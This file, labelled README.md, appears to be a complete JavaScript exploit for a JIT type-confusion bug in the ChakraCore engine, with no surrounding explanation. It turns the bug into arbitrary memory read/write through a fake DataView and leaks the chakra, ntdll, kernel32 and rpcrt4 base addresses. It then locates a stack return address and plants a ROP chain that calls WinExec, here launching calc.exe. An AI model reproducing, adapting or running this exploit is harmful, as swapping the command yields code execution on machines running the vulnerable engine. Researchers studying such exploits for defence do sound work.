README.md
Rendering markdown...
var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
var f64 = new Float64Array(1);
var i32 = new Int32Array(f64.buffer);
var array_addr_hi, array_addr_lo;
var dv;
var BASE = 0x100000000;
function SignedDwordToUnsignedDword(sd)
{
return (sd < 0) ? sd + 0x100000000 : sd;
}
function opt(arr, proto, arr2) {
arr[0] = 1.1;
let tmp = {__proto__: proto};
arr2[1] = fake_object; // 2.3023e-320;
addr = arr[1];
f64[0] = addr;
var base_lo = i32[0];
var base_hi = i32[1];
i32[0] = base_lo + 0x58;
arr[0] = f64[0];
// Type*
fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi;
// (TypeId for fake Type object)
fake_object[4] = 56; fake_object[5] = 0;
// (JavascriptLibrary* for fake Type object, +0x430 must be valid memory)
fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi;
// Buffer size
fake_object[8] = 0x200; fake_object[9] = 0;
// ArrayBuffer pointer, +0x3C IsDetached
fake_object[10] = base_lo + 0x58 - 0x20 + 20; fake_object[11] = base_hi;
// Buffer address
fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi;
array_addr_hi = base_hi;
array_addr_lo = base_lo;
}
function u32_to_i32(x) {
if (x >= 0x80000000) {
return -(0x100000000 - x);
}
return x;
}
// Int32 to Uint32
function i32_to_u32(x) {
if (x < 0) {
return 0x100000000 + x;
}
return x;
}
function read32(addr_hi, addr_lo) {
fake_object[14] = u32_to_i32(addr_lo);
fake_object[15] = u32_to_i32(addr_hi);
return DataView.prototype.getInt32.call(dv, 0, true);
}
function read64(addr_hi, addr_low) {
lower_dword = read32(addr_hi, addr_low);
higher_dword = read32(addr_hi, addr_low + 4);
return {hi : higher_dword, lo : lower_dword };
}
function print64(int64_value, message){
print(message + '0x'+ i32_to_u32(int64_value.hi).toString(16) + i32_to_u32(int64_value.lo).toString(16).padStart(8, '0'));
}
function write32(addr_hi, addr_lo, value) {
fake_object[14] = u32_to_i32(addr_lo);
fake_object[15] = u32_to_i32(addr_hi);
DataView.prototype.setInt32.call(dv, 0, value, true);
/*
DataView.prototype.setInt32.call(dv, 1, value, true);
DataView.prototype.setInt32.call(dv, 2, value, true);
DataView.prototype.setInt32.call(dv, 3, value, true);
DataView.prototype.setInt32.call(dv, 4, value, true);*/
}
function write64(addr_hi, value) {
fake_object[15] = u32_to_i32(addr_hi);
DataView.prototype.setInt32.call(dv, 1, value, true);
}
function main() {
let arr = [1.1, 2.2, 3.3];
let arr2 = [1.2, 2.3, 3.4];
for (let i = 0; i < 10000; i++) {
opt(arr, {}, arr2);
}
opt(arr, arr, arr);
value = SignedDwordToUnsignedDword(array_addr_lo);
value += SignedDwordToUnsignedDword(array_addr_hi) * 0x100000000;
print(value.toString(16));
value = SignedDwordToUnsignedDword(array_addr_lo+0x58);
value += SignedDwordToUnsignedDword(array_addr_hi) * 0x100000000;
print(value.toString(16));
dv = arr[0];
var chakra_leak = read64(array_addr_hi, array_addr_lo);
value = SignedDwordToUnsignedDword(chakra_leak.lo);
value += SignedDwordToUnsignedDword(chakra_leak.hi) * 0x100000000;
print(value.toString(16));
var chakra_base = value-0x000000000535450
var chakra_base_de_folosit = { hi : chakra_leak.hi, lo : chakra_leak.lo - 0x000000000535450 };
print(chakra_base.toString(16));
ntdll_iat = { hi : chakra_base_de_folosit.hi, lo : chakra_base_de_folosit.lo + 0x04b6000};
var ntdll_leak = read64(ntdll_iat.hi, ntdll_iat.lo);
print64(ntdll_leak, "[*] ntdll_leak() @ ");
ntdll_base = { hi : ntdll_leak.hi, lo : ntdll_leak.lo - 0x0000000000319a0};
print64(ntdll_base, "[*] ntdll_base() @ ");
//here the addition result in buggy yet we can corectly read off it so only print64 is buggy
kernel_base_iat = { hi : chakra_base_de_folosit.hi, lo : chakra_base_de_folosit.lo + 0x04b6048};
var kernel_leak = read64(kernel_base_iat.hi, kernel_base_iat.lo);
print64(kernel_leak, "[*] kernel_leak() @ ");
var kernel_base = { hi : kernel_leak.hi, lo : kernel_leak.lo - 0x0010dd0};
print64(kernel_base, "[*] kerne32_base() @ ");
rpc4_base_iat = { hi : chakra_base_de_folosit.hi, lo : chakra_base_de_folosit.lo + 0x04b6520};
var rpc4_base_leak = read64(rpc4_base_iat.hi, rpc4_base_iat.lo);
print64(rpc4_base_leak, "[*] rpc4_base_leak() @ ");
var rpc4_base = { hi : rpc4_base_leak.hi, lo : rpc4_base_leak.lo - 0x0cf5b0};
print64(rpc4_base, "[*] rpc4_base() @ ");
//00000000`00482352 return
//00000000`00611008 ThreadContext::globalListFirst
//4a8 sau 4b0
globalListFirst = { hi : chakra_base_de_folosit.hi, lo : chakra_base_de_folosit.lo + 0x0611008 };
print64(globalListFirst, "[*] globalListFirst() @ ");
threadBuffer = read64(globalListFirst.hi, globalListFirst.lo);
print64(threadBuffer, "[*] threadBuffer() @ ");
stackAddr = read64(threadBuffer.hi, threadBuffer.lo + 0x4a8);
return_addr = { hi : chakra_base_de_folosit.hi, lo : chakra_base_de_folosit.lo+0x0482352}; //till here is good
print64(return_addr, "[*] return_addr() @ ");
while(true){
value = read64(stackAddr.hi, stackAddr.lo);
//print64(value, "[*] value() @ ");
if(value.hi == return_addr.hi && value.lo == return_addr.lo){
print("mue basescu")
print64(stackAddr, "[*] stackaddr() @ ");
break;
}
stackAddr = { hi : stackAddr.hi, lo : stackAddr.lo-0x8};
//print64(stackAddr, "[*] stackaddr() @ ");
}
print("ie am iesit");
print64(stackAddr, "[*] stackaddr() @ ");
/*
0x18001b2fc: pop rsp ; pop rbp ; ret ; (1 found)
0x18019a0d2: pop rdx ; ret ; (1 found)
0
0x18045ddbf: pop rbp ; pop rcx ; ret ; (1 found)
0x180014db5: pop rax ; ret ; (1 found)
winexec
0x180009513: push rax ; ret ; (1 found)
0x18017ae1b: ret ; (1 found)
*/
Math.sin(1);
x = {hi:array_addr_hi,lo:array_addr_lo+0x58+0x340};
let cmd = "C:\\Windows\\SysWOW64\\calc.exe";
/*
0x41 43 3A 5C |5C 57 69 6E |64 6F 77 73 |5C 5C 53 79| 73 57 4F 57 |36 34 5C 5C |63 61 6C 63 |2E 65 78 65
*/
write32(x.hi, x.lo+0xa0, 0x5C3A4341);
write32(x.hi, x.lo+0xa4, 0x6E69575C);
write32(x.hi, x.lo+0xa8, 0x73776f64);
write32(x.hi, x.lo+0xac, 0x79535c5c);
write32(x.hi, x.lo+0xb0, 0x574f5773);
write32(x.hi, x.lo+0xb4, 0x5C5C3436);
write32(x.hi, x.lo+0xb8, 0x636c6163);
write32(x.hi, x.lo+0xbc, 0x6578652E);
//0x18019a0d2: pop rdx ; ret ; (1 found)
write32(x.hi, x.lo, chakra_base_de_folosit.lo+0x19a0d2);
write32(x.hi, x.lo+4, chakra_base_de_folosit.hi);
write32(x.hi, x.lo+8, 0x00000001);
write32(x.hi, x.lo+0xc, 0x00000000);
//0x18045ddbf: pop rbp ; pop rcx ; ret ; (1 found)
write32(x.hi, x.lo+0x10, chakra_base_de_folosit.lo+0x45ddbf);
write32(x.hi, x.lo+0x14, chakra_base_de_folosit.hi);
write32(x.hi, x.lo+0x18, 0x00000001);
write32(x.hi, x.lo+0x1c, 0x00000000);
write32(x.hi, x.lo+0x20, x.lo+0x81+0x20);
write32(x.hi, x.lo+0x24, x.hi);
//0x180014db5: pop rax ; ret ; (1 found)
/*
0:004> ?KERNEL32!WinExec-kernel32
Evaluate expression: 427520 = 00000000`00068600
*/
write32(x.hi, x.lo+0x28, chakra_base_de_folosit.lo+0x14db5);
write32(x.hi, x.lo+0x2c, chakra_base_de_folosit.hi);
write32(x.hi, x.lo+0x30, kernel_base.lo+0x0068600);
write32(x.hi, x.lo+0x34, kernel_base.hi);
//0x180009513: push rax ; ret ; (1 found)
write32(x.hi, x.lo+0x38, chakra_base_de_folosit.lo+0x09513);
write32(x.hi, x.lo+0x3c, chakra_base_de_folosit.hi);
//0x180037409: and al, 0x30 ; mov rax, rdi ; add rsp, 0x20 ; pop rdi ; ret ; (1 found)
write32(x.hi, x.lo+0x40, chakra_base_de_folosit.lo+0x37409);
write32(x.hi, x.lo+0x44, chakra_base_de_folosit.hi);
write32(x.hi, x.lo+0x60, 0x00000000);
write32(x.hi, x.lo+0x64, 0x00000000);
//0x18045ddbf: pop rbp ; pop rcx ; ret ; (1 found)
//ffffffff`ffffff48 - b8
write32(x.hi, x.lo+0x68, chakra_base_de_folosit.lo+0x45ddbf);
write32(x.hi, x.lo+0x6c, chakra_base_de_folosit.hi);
write32(x.hi, x.lo+0x70, 0x00000001);
write32(x.hi, x.lo+0x74, 0x00000000);
write32(x.hi, x.lo+0x78, 0xffffff48);
write32(x.hi, x.lo+0x7c, 0xffffffff);
//0x18048c7ad: add rax, rcx ; ret ; (1 found)
write32(x.hi, x.lo+0x80, chakra_base_de_folosit.lo+0x48c7ad);
write32(x.hi, x.lo+0x8c, chakra_base_de_folosit.hi);
//0x180009513: push rax ; ret ; (1 found)
write32(x.hi, x.lo+0x90, chakra_base_de_folosit.lo+0x09513);
write32(x.hi, x.lo+0x94, chakra_base_de_folosit.hi);
//014dba: pop rsp ; ret ; (1 found)
write32(stackAddr.hi, stackAddr.lo, chakra_base_de_folosit.lo+0x14dba);
write32(stackAddr.hi, stackAddr.lo+4,chakra_base_de_folosit.hi);
//rsp
write32(stackAddr.hi, stackAddr.lo+8, x.lo);
write32(stackAddr.hi, stackAddr.lo+0xc,x.hi);
//0x340 is offset for buffer
Math.sin(1);
//kernel32-00000000`004b6048
//rpc4-00000000`004b6520
}
main();